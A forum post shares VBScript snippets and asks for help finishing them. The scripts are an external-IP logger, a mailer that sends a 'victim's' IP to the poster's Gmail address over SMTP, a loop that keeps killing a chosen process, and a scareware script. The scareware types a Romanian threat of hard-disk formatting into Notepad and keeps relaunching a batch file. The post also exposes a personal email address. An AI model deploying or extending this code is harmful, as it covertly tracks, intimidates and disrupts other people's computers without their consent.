Hi.. I wanted to share some VBScript codes with you, Some of it I made myself, some of it I found on the internet and adapted it to my needs. 1) code for logging the external IP Const ForReading = 1Const ForAppending = 8Dim ipLog, objHTTP, strHTML, varStartDim varStop, strIP, strCurrIP, objFSODim txtFile, strLine, objShell' Log for tracking external IP addressesipLog = "install99_7787.log"' Get current external IP address from webSet objHTTP = CreateObject("MSXML2.XMLHTTP")Call objHTTP.Open("GET", "http://checkip.dyndns.org", False)objHTTP.Send()strHTML = objHTTP.ResponseText' Extarct IP from HTML if HTML was recievedIf strHTML <> "" Then varStart = InStr(1, strHTML, "Current IP Address:", vbTextCompare) + 19 If varStart Then varStop = InStr(varStart, strHTML, "</body>", vbTextCompare) If varStart And varStop Then strIP = Mid(strHTML, varStart, varStop - varStart)Else strIP = "Unavailable"End If' Remove preceeding or trailing spacesstrCurrIP = Trim(strIP)' Check for log file and last log entrySet objFSO = CreateObject("Scripting.FileSystemObject")If Not (objFSO.FileExists(ipLog)) Then ' If log file doesn't exist create it Set txtFile = objFSO.CreateTextFile(ipLog, True) strIP = ""Else ' Get last external IP address entry from log file Set txtFile = objFSO.OpenTextFile(ipLog, ForReading) Do Until txtFile.AtEndOfStream strLine = txtFile.ReadLine If Len(strLine) > 0 Then strIP = strLine End If LoopEnd IftxtFile.Close' Extarct last external IP from log file entryIf strIP <> "" Then varStart = 1 varStop = InStr(varStart, strIP, ",", vbTextCompare) - 1 If varStop Then strIP = Mid(strIP, varStart, varStop - varStart) ' Remove preceeding or trailing spaces Trim(strIP) Else strIP = "Unavailable" End If' Copy IP to clipboardSet objShell = WScript.CreateObject("WScript.Shell")objShell.Run "CMD /C ECHO " & strCurrIP & " | CLIP", 2' Check if external IP has changedIf strCurrIP = strIP Then' If unchanged display IP MsgBox "External IP: " & strCurrIP & " is unchanged"Else ' If changed log to file and display IP Set txtFile = objFSO.OpenTextFile(ipLog, ForAppending) txtFile.Write(strCurrIP & vbTab & vbCrLf) txtFile.CloseEnd If' Clear variablesSet ipLog = NothingSet objHTTP = NothingSet strHTML = NothingSet varStart = NothingSet varStop = NothingSet strIP = NothingSet strCurrIP = NothingSet objFSO = NothingSet txtFile = NothingSet strLine = NothingSet objShell = Nothing2) get IP + send to email - I Need some help here if someone is kind... I managed to get the IP, save it fo file and send a mail to my address. However I don't know how to send the text file with the IP as an attachment. Or to automatically paste the contents of the clipboard to the mail (the IP also gets copied to clipboard) and that text sent to mail. I would really appreciate help. This is composed of 2 vbscripts. The first triggers the second, like in a chain reaction: I. Const ForReading = 1Const ForAppending = 8Dim ipLog, objHTTP, strHTML, varStartDim varStop, strIP, strCurrIP, objFSODim txtFile, strLine, objShell' Log for tracking external IP addressesipLog = "install99_7787.log"' Get current external IP address from webSet objHTTP = CreateObject("MSXML2.XMLHTTP")Call objHTTP.Open("GET", "http://checkip.dyndns.org", False)objHTTP.Send()strHTML = objHTTP.ResponseText' Extarct IP from HTML if HTML was recievedIf strHTML <> "" Then varStart = InStr(1, strHTML, "Current IP Address:", vbTextCompare) + 19 If varStart Then varStop = InStr(varStart, strHTML, "</body>", vbTextCompare) If varStart And varStop Then strIP = Mid(strHTML, varStart, varStop - varStart)Else strIP = "Unavailable"End If' Remove preceeding or trailing spacesstrCurrIP = Trim(strIP)' Check for log file and last log entrySet objFSO = CreateObject("Scripting.FileSystemObject")If Not (objFSO.FileExists(ipLog)) Then ' If log file doesn't exist create it Set txtFile = objFSO.CreateTextFile(ipLog, True) strIP = ""Else ' Get last external IP address entry from log file Set txtFile = objFSO.OpenTextFile(ipLog, ForReading) Do Until txtFile.AtEndOfStream strLine = txtFile.ReadLine If Len(strLine) > 0 Then strIP = strLine End If LoopEnd IftxtFile.Close' Extarct last external IP from log file entryIf strIP <> "" Then varStart = 1 varStop = InStr(varStart, strIP, ",", vbTextCompare) - 1 If varStop Then strIP = Mid(strIP, varStart, varStop - varStart) ' Remove preceeding or trailing spaces Trim(strIP) Else strIP = "Unavailable" End If' Copy IP to clipboardSet objShell = WScript.CreateObject("WScript.Shell")objShell.Run "CMD /C ECHO " & strCurrIP & " | CLIP", 2' Check if external IP has changedIf strCurrIP = strIP Then' If unchanged display IP MsgBox "External IP: " & strCurrIP & " is unchanged"Else ' If changed log to file and display IP Set txtFile = objFSO.OpenTextFile(ipLog, ForAppending) txtFile.Write(strCurrIP & vbTab & vbCrLf) txtFile.CloseEnd If' Clear variablesSet ipLog = NothingSet objHTTP = NothingSet strHTML = NothingSet varStart = NothingSet varStop = NothingSet strIP = NothingSet strCurrIP = NothingSet objFSO = NothingSet txtFile = NothingSet strLine = NothingSet objShell = NothingSet objShell = WScript.CreateObject("WScript.Shell") objResult = objShell.Run("2_mailnew.vbs - script II" & strUsername & " 0", 1, True)II. Const cdoSendUsingPickup = 1 'Send message using the local SMTP service pickup directory.Const cdoSendUsingPort = 2 'Send the message using the network (SMTP over the network).Const cdoAnonymous = 0 'Do not authenticateConst cdoBasic = 1 'basic (clear-text) authenticationConst cdoNTLM = 2 'NTLMSet objMessage = CreateObject("CDO.Message")objMessage.Subject = "Example CDO Message"objMessage.From = "lflaurflorin@gmail.com"objMessage.To = "lflaurflorin@gmail.com"objMessage.TextBody = "IP Address of victim"'==This section provides the configuration information for the remote SMTP server.objMessage.Configuration.Fields.Item _("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2'Name or IP of Remote SMTP ServerobjMessage.Configuration.Fields.Item _("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com"'Type of authentication, NONE, Basic (Base64 encoded), NTLMobjMessage.Configuration.Fields.Item _("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = cdoBasic'Your UserID on the SMTP serverobjMessage.Configuration.Fields.Item _("http://schemas.microsoft.com/cdo/configuration/sendusername") = "mail here"'Your password on the SMTP serverobjMessage.Configuration.Fields.Item _("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "password here"'Server port (typically 25)objMessage.Configuration.Fields.Item _("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465'Use SSL for the connection (False or True)objMessage.Configuration.Fields.Item _("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True'Connection Timeout in seconds (the maximum time CDO will try to establish a connection to the SMTP server)objMessage.Configuration.Fields.Item _("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60objMessage.Configuration.Fields.Update'==End remote SMTP server configuration section==objMessage.SendSet obj = CreateObject("Scripting.FileSystemObject") 'Calls the File System Object3) Auto terminate any given process in a loop (prevents programs from starting) doProcessToKill = "notepad.exe"Set WMI=GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery ("select * from Win32_Process")For Each Process in WMI If process.name = ProcessToKill Then Process.terminate End IfNextloop4) Run program in loop / Prevent from closing / basic persistence (also typing some scary message into notepad) ' Open notepad Set WshShell = WScript.CreateObject("WScript.Shell")WshShell.Run "notepad", 9' Give Notepad time to loadWScript.Sleep 500 ' Do The PasteWshShell.SendKeys "N"WScript.Sleep 100 WshShell.SendKeys "u "WScript.Sleep 100 WshShell.SendKeys "p"WScript.Sleep 100 WshShell.SendKeys "o"WScript.Sleep 100 WshShell.SendKeys "t"WScript.Sleep 100 WshShell.SendKeys "i "WScript.Sleep 100 WshShell.SendKeys "s"WScript.Sleep 100 WshShell.SendKeys "c"WScript.Sleep 100 WshShell.SendKeys "a"WScript.Sleep 100WshShell.SendKeys "p"WScript.Sleep 100WshShell.SendKeys "a "WScript.Sleep 100WshShell.SendKeys "d"WScript.Sleep 100WshShell.SendKeys "e "WScript.Sleep 100WshShell.SendKeys "m"WScript.Sleep 100WshShell.SendKeys "i"WScript.Sleep 100WshShell.SendKeys "n"WScript.Sleep 100WshShell.SendKeys "e"WScript.Sleep 100WshShell.SendKeys ", "WScript.Sleep 100WshShell.SendKeys "t"WScript.Sleep 100WshShell.SendKeys "e "WScript.Sleep 100WshShell.SendKeys "v"WScript.Sleep 100WshShell.SendKeys "o"WScript.Sleep 100WshShell.SendKeys "i "WScript.Sleep 100WshShell.SendKeys "u"WScript.Sleep 100WshShell.SendKeys "r"WScript.Sleep 100WshShell.SendKeys "m"WScript.Sleep 100WshShell.SendKeys "a"WScript.Sleep 100WshShell.SendKeys "r"WScript.Sleep 100WshShell.SendKeys "i "WScript.Sleep 100WshShell.SendKeys "m"WScript.Sleep 100WshShell.SendKeys "e"WScript.Sleep 100WshShell.SendKeys "r"WScript.Sleep 100WshShell.SendKeys "e"WScript.Sleep 100WshShell.SendKeys "u"WScript.Sleep 100WshShell.SendKeys "."WScript.Sleep 100WshShell.SendKeys "."WScript.Sleep 100WshShell.SendKeys ". "WScript.Sleep 100WshShell.SendKeys "{ENTER}"WshShell.SendKeys "{ENTER}"WshShell.SendKeys "{ENTER}"WScript.Sleep 100WshShell.SendKeys "N"WScript.Sleep 100WshShell.SendKeys "u "WScript.Sleep 100WshShell.SendKeys "s"WScript.Sleep 100WshShell.SendKeys "t"WScript.Sleep 100WshShell.SendKeys "i"WScript.Sleep 100WshShell.SendKeys "i "WScript.Sleep 100WshShell.SendKeys "c"WScript.Sleep 100WshShell.SendKeys "i"WScript.Sleep 100WshShell.SendKeys "n"WScript.Sleep 100WshShell.SendKeys "e "WScript.Sleep 100WshShell.SendKeys "s"WScript.Sleep 100WshShell.SendKeys "u"WScript.Sleep 100WshShell.SendKeys "n"WScript.Sleep 100WshShell.SendKeys "t"WScript.Sleep 100WshShell.SendKeys "."WScript.Sleep 100WshShell.SendKeys "."WScript.Sleep 100WshShell.SendKeys "."WshShell.SendKeys "{ENTER}"WScript.Sleep 100WshShell.SendKeys "V"WScript.Sleep 100WshShell.SendKeys "e"WScript.Sleep 100WshShell.SendKeys "i "WScript.Sleep 100WshShell.SendKeys "v"WScript.Sleep 100WshShell.SendKeys "e"WScript.Sleep 100WshShell.SendKeys "d"WScript.Sleep 100WshShell.SendKeys "e"WScript.Sleep 100WshShell.SendKeys "a "WScript.Sleep 100WshShell.SendKeys "a"WScript.Sleep 100WshShell.SendKeys "c"WScript.Sleep 100WshShell.SendKeys "e"WScript.Sleep 100WshShell.SendKeys "s"WScript.Sleep 100WshShell.SendKeys "t "WScript.Sleep 100WshShell.SendKeys " "WScript.Sleep 100WshShell.SendKeys "m"WScript.Sleep 100WshShell.SendKeys "e"WScript.Sleep 100WshShell.SendKeys "s"WScript.Sleep 100WshShell.SendKeys "a"WScript.Sleep 100WshShell.SendKeys "j "WScript.Sleep 100WshShell.SendKeys "d"WScript.Sleep 100WshShell.SendKeys "e "WScript.Sleep 100WshShell.SendKeys "f"WScript.Sleep 100WshShell.SendKeys "i"WScript.Sleep 100WshShell.SendKeys "e"WScript.Sleep 100WshShell.SendKeys "c"WScript.Sleep 100WshShell.SendKeys "a"WScript.Sleep 100WshShell.SendKeys "r"WScript.Sleep 100WshShell.SendKeys "e "WScript.Sleep 100WshShell.SendKeys "d"WScript.Sleep 100WshShell.SendKeys "a"WScript.Sleep 100WshShell.SendKeys "t"WScript.Sleep 100WshShell.SendKeys "a "WScript.Sleep 100WshShell.SendKeys "d"WScript.Sleep 100WshShell.SendKeys "e "WScript.Sleep 100WshShell.SendKeys "a"WScript.Sleep 100WshShell.SendKeys "c"WScript.Sleep 100WshShell.SendKeys "u"WScript.Sleep 100WshShell.SendKeys "m "WScript.Sleep 100WshShell.SendKeys "i"WScript.Sleep 100WshShell.SendKeys "n"WScript.Sleep 100WshShell.SendKeys "c"WScript.Sleep 100WshShell.SendKeys "o"WScript.Sleep 100WshShell.SendKeys "l"WScript.Sleep 100WshShell.SendKeys "o"WScript.Sleep 100WshShell.SendKeys "."WshShell.SendKeys "{ENTER}"WshShell.SendKeys "{ENTER}"WshShell.SendKeys "N"WScript.Sleep 200WshShell.SendKeys "U "WScript.Sleep 200WshShell.SendKeys "F"WScript.Sleep 200WshShell.SendKeys "A"WScript.Sleep 200WshShell.SendKeys "C"WScript.Sleep 200WshShell.SendKeys "E "WScript.Sleep 200WshShell.SendKeys "N"WScript.Sleep 200WshShell.SendKeys "I"WScript.Sleep 200WshShell.SendKeys "M"WScript.Sleep 200WshShell.SendKeys "I"WScript.Sleep 200WshShell.SendKeys "C "WScript.Sleep 200WshShell.SendKeys "S"WScript.Sleep 200WshShell.SendKeys "T"WScript.Sleep 200WshShell.SendKeys "U"WScript.Sleep 200WshShell.SendKeys "P"WScript.Sleep 200WshShell.SendKeys "I"WScript.Sleep 200WshShell.SendKeys "D"WScript.Sleep 200WshShell.SendKeys " !"WScript.Sleep 200WshShell.SendKeys "!"WScript.Sleep 200WshShell.SendKeys "!"WScript.Sleep 200WshShell.SendKeys "{ENTER}"WshShell.SendKeys "{ENTER}"WshShell.SendKeys "l"WScript.Sleep 50WshShell.SendKeys "a"WScript.Sleep 50WshShell.SendKeys "s"WScript.Sleep 50WshShell.SendKeys "a "WScript.Sleep 50WshShell.SendKeys "m"WScript.Sleep 50WshShell.SendKeys "a"WScript.Sleep 50WshShell.SendKeys "t"WScript.Sleep 50WshShell.SendKeys "r"WScript.Sleep 50WshShell.SendKeys "i"WScript.Sleep 50WshShell.SendKeys "x"WScript.Sleep 50WshShell.SendKeys "-"WScript.Sleep 50WshShell.SendKeys "u"WScript.Sleep 50WshShell.SendKeys "l "WScript.Sleep 50WshShell.SendKeys "s"WScript.Sleep 50WshShell.SendKeys "a "WScript.Sleep 50WshShell.SendKeys "r"WScript.Sleep 50WshShell.SendKeys "u"WScript.Sleep 50WshShell.SendKeys "l"WScript.Sleep 50WshShell.SendKeys "e"WScript.Sleep 50WshShell.SendKeys "z"WScript.Sleep 50WshShell.SendKeys "e"WScript.Sleep 50WshShell.SendKeys "."WScript.Sleep 400WshShell.SendKeys "{ENTER}"WshShell.SendKeys "{ENTER}"WshShell.SendKeys "D"WScript.Sleep 10WshShell.SendKeys "A"WScript.Sleep 10WshShell.SendKeys "C"WScript.Sleep 10WshShell.SendKeys "A "WScript.Sleep 10WshShell.SendKeys "T"WScript.Sleep 10WshShell.SendKeys "U "WScript.Sleep 10WshShell.SendKeys "IL "WScript.Sleep 10WshShell.SendKeys "OP"WScript.Sleep 10WshShell.SendKeys "RE"WScript.Sleep 10WshShell.SendKeys "ST"WScript.Sleep 10WshShell.SendKeys "I, "WScript.Sleep 10WshShell.SendKeys "P"WScript.Sleep 10WshShell.SendKeys "R"WScript.Sleep 10WshShell.SendKeys "O"WScript.Sleep 10WshShell.SendKeys "G"WScript.Sleep 10WshShell.SendKeys "R"WScript.Sleep 10WshShell.SendKeys "A"WScript.Sleep 10WshShell.SendKeys "M"WScript.Sleep 10WshShell.SendKeys "U"WScript.Sleep 10WshShell.SendKeys "L "WScript.Sleep 10WshShell.SendKeys "V"WScript.Sleep 10WshShell.SendKeys "A "WScript.Sleep 10WshShell.SendKeys "S"WScript.Sleep 10WshShell.SendKeys "E"WScript.Sleep 10WshShell.SendKeys "S"WScript.Sleep 10WshShell.SendKeys "I"WScript.Sleep 10WshShell.SendKeys "Z"WScript.Sleep 10WshShell.SendKeys "A "WScript.Sleep 10WshShell.SendKeys "A"WScript.Sleep 10WshShell.SendKeys "C"WScript.Sleep 10WshShell.SendKeys "E"WScript.Sleep 10WshShell.SendKeys "A"WScript.Sleep 10WshShell.SendKeys "S"WScript.Sleep 10WshShell.SendKeys "T"WScript.Sleep 10WshShell.SendKeys "A, "WScript.Sleep 10WshShell.SendKeys "{ENTER}"WshShell.SendKeys "S"WScript.Sleep 10WshShell.SendKeys "E"WScript.Sleep 10WshShell.SendKeys " V"WScript.Sleep 10WshShell.SendKeys "A "WScript.Sleep 10WshShell.SendKeys "R"WScript.Sleep 10WshShell.SendKeys "E"WScript.Sleep 10WshShell.SendKeys "S"WScript.Sleep 10WshShell.SendKeys "T"WScript.Sleep 10WshShell.SendKeys "A"WScript.Sleep 10WshShell.SendKeys "R"WScript.Sleep 10WshShell.SendKeys "T"WScript.Sleep 10WshShell.SendKeys "A, "WScript.Sleep 10WshShell.SendKeys "D"WScript.Sleep 10WshShell.SendKeys "A"WScript.Sleep 10WshShell.SendKeys "R"WScript.Sleep 10WshShell.SendKeys " L"WScript.Sleep 10WshShell.SendKeys "A"WScript.Sleep 10WshShell.SendKeys " P"WScript.Sleep 10WshShell.SendKeys "R"WScript.Sleep 10WshShell.SendKeys "I"WScript.Sleep 10WshShell.SendKeys "M"WScript.Sleep 10WshShell.SendKeys "U"WScript.Sleep 10WshShell.SendKeys "L "WScript.Sleep 10WshShell.SendKeys "{ENTER}"WshShell.SendKeys "R"WScript.Sleep 10WshShell.SendKeys "E"WScript.Sleep 10WshShell.SendKeys "S"WScript.Sleep 10WshShell.SendKeys "T"WScript.Sleep 10WshShell.SendKeys "A"WScript.Sleep 10WshShell.SendKeys "R"WScript.Sleep 10WshShell.SendKeys "T "WScript.Sleep 10WshShell.SendKeys "V"WScript.Sleep 10WshShell.SendKeys "A "WScript.Sleep 10WshShell.SendKeys "I"WScript.Sleep 10WshShell.SendKeys "N"WScript.Sleep 10WshShell.SendKeys "I"WScript.Sleep 10WshShell.SendKeys "T"WScript.Sleep 10WshShell.SendKeys "I"WScript.Sleep 10WshShell.SendKeys "A "WScript.Sleep 10WshShell.SendKeys "F"WScript.Sleep 10WshShell.SendKeys "O"WScript.Sleep 10WshShell.SendKeys "R"WScript.Sleep 10WshShell.SendKeys "M"WScript.Sleep 10WshShell.SendKeys "A"WScript.Sleep 10WshShell.SendKeys "T"WScript.Sleep 10WshShell.SendKeys "A"WScript.Sleep 10WshShell.SendKeys "R"WScript.Sleep 10WshShell.SendKeys "E"WScript.Sleep 10WshShell.SendKeys "A "WScript.Sleep 10WshShell.SendKeys "H"WScript.Sleep 10WshShell.SendKeys "A"WScript.Sleep 10WshShell.SendKeys "R"WScript.Sleep 10WshShell.SendKeys "D "WScript.Sleep 10WshShell.SendKeys "D"WScript.Sleep 10WshShell.SendKeys "I"WScript.Sleep 10WshShell.SendKeys "S"WScript.Sleep 10WshShell.SendKeys "K"WScript.Sleep 10WshShell.SendKeys "-"WScript.Sleep 10WshShell.SendKeys "U"WScript.Sleep 10WshShell.SendKeys "L"WScript.Sleep 10WshShell.SendKeys "U"WScript.Sleep 10WshShell.SendKeys "I"WScript.Sleep 10WshShell.SendKeys " ! "WScript.Sleep 10WScript.Sleep 10WshShell.SendKeys "{ENTER}"WshShell.SendKeys "N"WScript.Sleep 60WshShell.SendKeys "u "WScript.Sleep 60WshShell.SendKeys "i"WScript.Sleep 60WshShell.SendKeys "l "WScript.Sleep 60WshShell.SendKeys "i"WScript.Sleep 60WshShell.SendKeys "n"WScript.Sleep 60WshShell.SendKeys "c"WScript.Sleep 60WshShell.SendKeys "h"WScript.Sleep 60WshShell.SendKeys "i"WScript.Sleep 60WshShell.SendKeys "d"WScript.Sleep 60WshShell.SendKeys "e "WScript.Sleep 60WshShell.SendKeys "m"WScript.Sleep 60WshShell.SendKeys "a"WScript.Sleep 60WshShell.SendKeys "n"WScript.Sleep 60WshShell.SendKeys "u"WScript.Sleep 60WshShell.SendKeys "a"WScript.Sleep 60WshShell.SendKeys "l "WScript.Sleep 60WshShell.SendKeys "s"WScript.Sleep 60WshShell.SendKeys "i "WScript.Sleep 60WshShell.SendKeys "v"WScript.Sleep 60WshShell.SendKeys "a "WScript.Sleep 60WshShell.SendKeys "f"WScript.Sleep 60WshShell.SendKeys "i "WScript.Sleep 60WshShell.SendKeys "O"WScript.Sleep 60WshShell.SendKeys "K"WScript.Sleep 60WshShell.SendKeys "."WScript.Sleep 60WshShell.SendKeys "{ENTER}"WshShell.SendKeys "{ENTER}"WshShell.SendKeys "{ENTER}"WshShell.SendKeys "P"WScript.Sleep 60WshShell.SendKeys "."WScript.Sleep 60WshShell.SendKeys "S"WScript.Sleep 60WshShell.SendKeys "."WScript.Sleep 60WshShell.SendKeys " "WScript.Sleep 60WshShell.SendKeys "D"WScript.Sleep 60WshShell.SendKeys "a"WScript.Sleep 60WshShell.SendKeys "c"WScript.Sleep 60WshShell.SendKeys "a "WScript.Sleep 60WshShell.SendKeys "e "WScript.Sleep 60WshShell.SendKeys "p"WScript.Sleep 60WshShell.SendKeys "e "WScript.Sleep 60WshShell.SendKeys "v"WScript.Sleep 60WshShell.SendKeys "e"WScript.Sleep 60WshShell.SendKeys "r"WScript.Sleep 60WshShell.SendKeys "d"WScript.Sleep 60WshShell.SendKeys "e"WScript.Sleep 60WshShell.SendKeys ", "WScript.Sleep 60WshShell.SendKeys "e"WScript.Sleep 60WshShell.SendKeys "s"WScript.Sleep 60WshShell.SendKeys "t"WScript.Sleep 60WshShell.SendKeys "i "WScript.Sleep 60WshShell.SendKeys "-"WScript.Sleep 60WshShell.SendKeys "i"WScript.Sleep 60WshShell.SendKeys "n"WScript.Sleep 60WshShell.SendKeys "c"WScript.Sleep 60WshShell.SendKeys "a"WScript.Sleep 60WshShell.SendKeys "-"WScript.Sleep 60WshShell.SendKeys " "WScript.Sleep 60WshShell.SendKeys "O"WScript.Sleep 60WshShell.SendKeys "K."WScript.Sleep 60WshShell.SendKeys "{ENTER}"Set WshShell = CreateObject("WScript.Shell")Do While TrueWshShell.Run """gaga.bat""", 1, TrueLoopPerhaps some of you would find them useful.... if you know, please help me with the issue above, at point 2). Thank you very much.